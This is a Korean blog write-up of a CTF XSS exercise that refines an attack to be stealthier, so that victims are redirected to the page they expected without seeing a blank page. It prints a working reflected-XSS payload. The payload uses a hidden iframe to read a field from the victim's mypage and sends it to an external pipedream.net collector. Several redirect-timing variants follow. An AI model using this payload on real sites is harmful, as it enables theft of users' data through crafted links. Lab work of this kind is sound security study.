XSS 6번에 허점에 대한 해결방안

황인환·2024년 7월 7일

허점

  1. 빈페이지

  2. alert

우선순위

우선순위에 빈페이지에 둔 이유

  • alet에는 원하는 글 작성가능 ex_ 잘못된 접근입니다
    -> URL을 클릭한 사람을 착각하게 할 수있음

  • 빈페이지 문제
    -> 원래 이동하려는 페이지로 이동되지 않는다면 수상함
    -> iframe으로 자동이동을 고정
    -> 그렇다고 클라이언트가 원하는 사이트로는 갈수없음

해결법

Location.href로 원래 이동하고 정보를 처리한후 이동하고 싶은 사이트로 다시 보내주기

시나리오

alert
-> error!!. 알림띄움

error알람 후 클릭

location.href
-> 원래 클라이언트가 가고자했던 페이지로 리다이렉션

리다이렉션 페이지

TEST

테스트에 사용될 스크립트 및 태그

  • <img src=x onerror>로 테스트
    ->테스트에 진행될 스크립트
');</script><iframe+src="http://ctf.segfaulthub.com:4343/xss_7/mypage.php"+id="plz"+style="display:none;"></iframe><img+src=x+onerror="document.getElementById('plz').onload=function(){
  let+target=document.getElementById('plz');
  +let+DOM=target.contentDocument;
  +let+want=DOM.getElementsByName('info');  	
  +new+Image().src='https://env2ukig2umbh.x.pipedream.net?info='%2Bwant[0].placeholder;
}"
+style="display:none;">
<script>여기에 스크립트 삽입</script>
<!--<script>let+a=('

location.href 삽입

<script>location.href="URL";</script>삽입

test
공격자서버

결과

  • GET방식으로 전송x

문제

  • alert함수가 나타나고 location 진행
    -> <img src=x onerror>가 location.href보다 먼저 실행
    --> 순서는 문제없음

해결방법

  1. 페이지가 로드된후 실행
  • window.onload=function(){}
  • addEventListener('DOMContentLoaded',function(){})
  1. 시간두고 실행
  • setTimeout(function(){},2000(==2초))

1. window.onload=function(){}

  • 기능
    모든이벤트 리소스가 로드된 후 발생

  • 스크립트

window.onload=function(){
  location.href="http://ctf.segfaulthub.com:4343/xss_7/mypage.php";
};
공격자 서버 TEST

2. addEventListener('DOMContentLoaded',function(){})

  • 기능
    HTML문서의 모등 DOM요소가 다 로드되고 파싱되었을때 실행
    스타일시트, 이미지등의 로드와는 상관없음

  • 스크립트

document.addEventListener('DOMContentLoaded',function(){
  location.href="http://ctf.segfaulthub.com:4343/xss_7/mypage.php";
});
공격자 서버 TEST

3. setTimeout(function(){},2000(==2초))

  • 기능
    일정시간이 지난후 지정한 함수 실행
  • 스크립트
setTimeout(function(){
	location.href="http://ctf.segfaulthub.com:4343/xss_7/mypage.php";
},2000);
공격자 서버 TEST

결론

완전히 로드될 시간을 준 setTimeout(function(){},2000(==2초))와 로드가 다되고 실행되는 window.onload=function(){} 만 성공

0개의 댓글